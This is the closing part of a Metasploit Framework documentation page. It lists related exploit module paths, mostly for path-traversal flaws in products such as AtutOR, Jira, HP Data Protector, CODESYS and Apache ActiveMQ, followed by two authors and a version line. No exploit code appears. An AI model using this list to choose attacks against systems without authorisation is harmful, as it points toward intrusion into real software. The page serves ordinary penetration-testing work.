- exploit/multi/http/atutor_sqli
- exploit/linux/http/atutor_filemanager_traversal
- exploit/linux/misc/hp_jetdirect_path_traversal
- exploit/windows/browser/persits_xupload_traversal
- exploit/windows/http/hp_autopass_license_traversal
- exploit/windows/http/jira_collector_traversal
- exploit/windows/misc/hp_dataprotector_traversal
- exploit/windows/scada/codesys_gateway_server_traversal
- exploit/windows/tftp/distinct_tftp_traversal
- exploit/windows/tftp/netdecision_tftp_traversal
- exploit/freebsd/http/citrix_dir_traversal_rce
- exploit/windows/ftp/quickshare_traversal_write
- exploit/windows/http/apache_activemq_traversal_upload
Authors
- liquidsky (JMcPeters)
- Erik Wynter
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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